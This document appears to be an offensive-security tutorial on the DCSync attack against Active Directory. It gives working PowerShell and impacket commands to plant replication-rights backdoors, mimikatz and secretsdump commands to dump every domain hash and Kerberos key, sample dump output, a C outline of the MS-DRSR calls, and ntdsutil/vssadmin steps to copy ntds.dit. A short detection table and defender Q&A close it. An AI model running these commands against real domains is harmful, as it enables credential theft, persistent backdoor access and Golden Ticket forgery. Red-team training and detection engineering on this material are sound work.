DCSync Attack
Impersonating a domain controller to replicate credentials via the MS-DRSR (DRS Remote Protocol): extracting NTLM hashes, Kerberos keys, and password history for any account in the domain
You have Domain Admin. Now you want every NT hash in the domain — not just current ones, but also the krbtgt hash needed for Golden Tickets, the DSRM Administrator hash, and historical password hashes. You don't need to be on the domain controller. DCSync lets any process with replication privileges call MS-DRSR (the AD replication RPC) and replicate password data from the DC's database, exactly as a legitimate DC would during replication. One command, run from any machine, extracts all 10,000 NT hashes in under 30 seconds.
AD Replication — MS-DRSR DRS Protocol
Required Replication Privileges
DCSync does not require being logged into a DC. It requires the extended rights on the domain object:
- DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) — read basic replication changes
- DS-Replication-Get-Changes-All (GUID: 1131f6ab-9c07-11d1-f79f-00c04fc2dcd2) — required to replicate password attributes (unicodePwd, supplementalCredentials)
- DS-Replication-Get-Changes-In-Filtered-Set (GUID: 89e95b76-444d-4c62-991a-0facbeda640c) — needed for some filtered replication scenarios
# Grant DCSync rights to an attacker-controlled account (as Domain Admin)
# This creates a persistence backdoor — attacker_user can DCSync anytime
# PowerShell — add replication rights to attacker_user
$domainObject = [adsi]"LDAP://DC=corp,DC=local"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
[System.Security.Principal.NTAccount]"corp\attacker_user",
[System.DirectoryServices.ActiveDirectoryRights]"ExtendedRight",
[System.Security.AccessControl.AccessControlType]::Allow,
[guid]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes
)
$domainObject.ObjectSecurity.AddAccessRule($ace)
$domainObject.CommitChanges()
# Add "All" right too
$ace2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
[System.Security.Principal.NTAccount]"corp\attacker_user",
[System.DirectoryServices.ActiveDirectoryRights]"ExtendedRight",
[System.Security.AccessControl.AccessControlType]::Allow,
[guid]"1131f6ab-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes-All
)
$domainObject.ObjectSecurity.AddAccessRule($ace2)
$domainObject.CommitChanges()
# Alternative via impacket:
dacledit.py -action write -rights DCSync -principal attacker_user \
corp.local/domain_admin:password -dc-ip 10.10.10.1
DCSync with Mimikatz
# Run from any domain-joined machine as an account with replication rights
# (or as Domain Admin)
# Dump single account (quiet — only one DRSR call)
mimikatz# lsadump::dcsync /domain:corp.local /user:Administrator
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt
# Dump ALL accounts in the domain (noisy — many DRSR calls)
mimikatz# lsadump::dcsync /domain:corp.local /all /csv
# Output format:
# [DC] 'corp.local' will be the domain
# [DC] 'DC01.corp.local' will be the DC server
# Object : Administrator
# ** SAM ACCOUNT **
# SAM Username : Administrator
# Account Type : 30000000 ( USER_OBJECT )
# User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
# Account expiration :
# Password last change : 2024-01-15
# Object Security ID : S-1-5-21-...
# Object Relative ID : 500
#
# Credentials:
# Hash NTLM: fc525c9683e8fe067095ba2ddc971889
# ntlm- 0: fc525c9683e8fe067095ba2ddc971889
# ntlm- 1: 2b576acbe6bcfda7294d6bd18041b8fe (previous password)
# lm - 0: e52cac67419a9a224a3b108f3fa6cb6d
#
# Supplemental Credentials:
# * Primary:NTLM-Strong-NTOWF *
# Random Value : abc123...
#
# * Primary:Kerberos-Newer-Keys *
# Default Salt : CORP.LOCALAdministrator
# AES-256 Key: 5a8... (Kerberos AES-256 encryption key)
# AES-128 Key: 4b7...
# DES Key: 3c6...
DCSync with impacket secretsdump
# impacket secretsdump — most common production tool
# DCSync single user
secretsdump.py corp.local/Administrator:Password@dc01.corp.local -just-dc-user Administrator
# DCSync krbtgt (Golden Ticket pre-requisite)
secretsdump.py corp.local/Administrator:Password@dc01.corp.local -just-dc-user krbtgt
# Full DCSync — all accounts
secretsdump.py corp.local/Administrator:Password@dc01.corp.local -just-dc
# Output format for full dump:
# corp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
# corp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3e7b70b4e2e2c3f9bc4ab1df3c5b7fa:::
# corp.local\jsmith:1104:aad3b435b51404eeaad3b435b51404ee:8d7d236a3b09b6d0b7a8c4e2f1d3e5b7:::
# Format: domain\user:RID:LM_hash:NT_hash:::
# aad3b435b51404eeaad3b435b51404ee = empty LM hash (LM disabled)
# With Pass-the-Hash (if you already have DA NT hash)
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889 \
corp.local/Administrator@dc01.corp.local -just-dc
# With Kerberos ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass dc01.corp.local -just-dc
Implementing DCSync in C via MS-DRSR RPC
DCSync from scratch uses the MS-DRSR RPC interface. The key calls are IDL_DRSBind, IDL_DRSCrackNames (to get the GUID for the target account), and IDL_DRSGetNCChanges. The full implementation is complex (Mimikatz has ~2,000 lines for dcsync), but the structure is:
// DCSync core structure — simplified conceptual flow
// Full implementation: see Mimikatz lsadump/dcsync.c
#include <windows.h>
#include <rpc.h>
// MS-DRSR interface GUID
static const IID DRS_IID = {
0xe3514235, 0x4b06, 0x11d1,
{0xab, 0x04, 0x00, 0xc0, 0x4f, 0xc2, 0xdc, 0xd2}
};
// Key RPC operations (abbreviated from MS-DRSR spec):
// IDL_DRSBind(hDrs, puuidClientDsa, pextClient, ppextServer, phDrs)
// → establishes DRS session with DC
//
// IDL_DRSCrackNames(hDrs, 0, &request, &response)
// → converts sAMAccountName to GUID (needed for GetNCChanges)
//
// IDL_DRSGetNCChanges(hDrs, 1, &request, &response)
// → replicate object data; response contains attribute list including:
// ATTRTYP 589914 = unicodePwd (encrypted NT hash)
// ATTRTYP 591734 = supplementalCredentials (Kerberos keys)
// ATTRTYP 589832 = lmPwdHistory
// ATTRTYP 589986 = ntPwdHistory
// The unicodePwd value is returned encrypted with the session key:
// NT_hash_raw = DES_ECB_decrypt(
// replication_session_key, ← derived from DRS bind session
// unicodePwd_value
// )
// This is the Windows replication encryption (not standard DPAPI)
// Mimikatz implements the decryption in kuhl_m_lsadump_dcsync_decrypt()
void DCSync_Concept(const char *dcAddress, const char *targetUser) {
// 1. Bind to DC's DRS endpoint
// RpcBindingFromStringBinding with "ncacn_ip_tcp" or "ncacn_np" transport
// RpcBindingSetAuthInfo with RPC_C_AUTHN_GSS_NEGOTIATE (Kerberos/NTLM)
// 2. Call IDL_DRSBind to get DRS handle
// Extension flags include DRS_EXT_GETCHGREPLY_V6 for encrypted response
// 3. CrackNames to get target object's GUID
// Input: sAMAccountName format, Output: GUID for use in GetNCChanges
// 4. Call IDL_DRSGetNCChanges with EXOP_REPL_OBJ flag
// This replicates only the specified object, not the whole NC
// Attributes requested: unicodePwd, supplementalCredentials, ntPwdHistory
// 5. Decrypt the replication session key
// The session key is encrypted with the transport session key (from Kerberos)
// Decrypt to get PEK (Password Encryption Key)
// 6. Use PEK to decrypt unicodePwd → NT hash
// unicodePwd is encrypted with RC4(session_key, object_SID) in older DRS
// or AES-256-CBC in newer DRS (based on DC OS version)
}
Hash Output — What You Get and How to Use It
ntds.dit Alternative — VSS Copy
If DCSync isn't an option (e.g., you're physically on the DC but network is restricted), extract the ntds.dit database directly using Volume Shadow Copies:
# Method 1: ntdsutil.exe (built-in Windows tool)
ntdsutil.exe "ac i ntds" "ifm" "create full c:\ntdsbackup" q q
# Creates: c:\ntdsbackup\Active Directory\ntds.dit
# c:\ntdsbackup\registry\SYSTEM (needed for boot key)
# Method 2: VSS shadow copy + xcopy
vssadmin create shadow /for=c:
# Note shadow copy volume name (e.g., \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3)
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit" C:\ntds.dit
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM" C:\SYSTEM
vssadmin delete shadows /shadow=<shadow_id> /quiet # cleanup
# Method 3: reg save (for SYSTEM hive only — needed for BOOTKEY)
reg save HKLM\SYSTEM C:\SYSTEM
reg save HKLM\SECURITY C:\SECURITY
# Extract hashes from ntds.dit + SYSTEM offline (from Linux)
secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL
# Faster: only extract specific users
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -just-dc-user Administrator
Detection
| Signal | Source | Notes |
|---|---|---|
| Event 4662 with Properties containing GUIDs for DS-Replication-Get-Changes-All and source is not a DC computer account | DC Security Log (4662) | The most specific signal — 4662 logs replication operations; source should be DC$ accounts, not user accounts |
| DRS network traffic (RPC endpoint mapper, then DRS interface) from a non-DC workstation | Network monitoring | DCSync traffic is port 135 (RPC) then dynamic high ports to DC — anomalous from workstations |
| Event 4624 logon Type 3 from unusual account to DC followed immediately by 4662 | DC Security Log | Correlate authentication + replication events |
| ACE added granting DS-Replication-Get-Changes on the domain object (5136) | AD audit (5136) | Attacker adding DCSync backdoor — 5136 attribute change on root domain object |
| ntdsutil.exe or vssadmin.exe executing on a DC | Process creation (4688 / Sysmon 1) | ntdsutil IFM mode on a DC is unusual; process command line is key signal |
DCSync gives you the krbtgt hash, which lets you forge Golden Tickets. However, the krbtgt hash should be rotated twice (to invalidate the previous hash stored for redundancy) within 10 hours to stop existing Golden Tickets. Most organizations don't rotate the krbtgt regularly. In an incident, the response team must rotate krbtgt twice with a 10-hour gap — this is a painful, potentially disruptive operation, but the only way to stop Golden Tickets. Defenders should document this procedure in their IR runbook before they need it during an active incident.
Q&A
Why does DCSync need "Replicating Directory Changes All" and not just "Replicating Directory Changes"?
The two extended rights control access to different subsets of AD attributes during replication. "DS-Replication-Get-Changes" (the basic right) allows replicating most AD object attributes — names, email addresses, group memberships, userAccountControl flags — but explicitly excludes confidential attributes including password hashes. The "All" variant (DS-Replication-Get-Changes-All) adds the ability to replicate confidential attributes, which is where the password data (unicodePwd, supplementalCredentials, lmPwdHistory, ntPwdHistory) lives. Microsoft deliberately separated these rights so that organizations could grant read-replication to monitoring tools or non-DC replication partners without automatically granting password hash access. The design intent was security segmentation. In practice, many organizations have granted both rights to the same accounts (Entra ID Connect, Azure AD Sync, backup agents), creating a class of accounts that can DCSync — these are valuable targets. Defenders: audit which non-DC accounts have DS-Replication-Get-Changes-All on the domain object; any such account is a potential DCSync vector and should be reviewed and protected at the same level as a Domain Admin.
What is the DSRM account and why is it a DCSync target?
DSRM (Directory Services Restore Mode) is a special boot mode for domain controllers used to perform AD maintenance and recovery. Every DC has a local administrator account in DSRM mode, with a password set during DC promotion (dcpromo). This account is a local administrator with the name "Administrator" that exists separately from any domain account — it's a purely local SAM account on the DC. DCSync returns the DSRM hash as part of the local SAM accounts on the DC (visible in secretsdump's "Local SAM" section). By default, the DSRM account cannot log in over the network (only available in DSRM boot mode). However, a registry key — HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior — controls whether DSRM credentials can authenticate over the network. Set to 2, the DSRM account becomes a persistent local admin that can authenticate over SMB to the DC. Many organizations use the same DSRM password across all DCs (set once during a rollout) — cracking or using the DSRM hash gives local admin on every DC in the domain, even after Domain Admin passwords are reset. This is why DSRM password management is part of DC hardening checklists.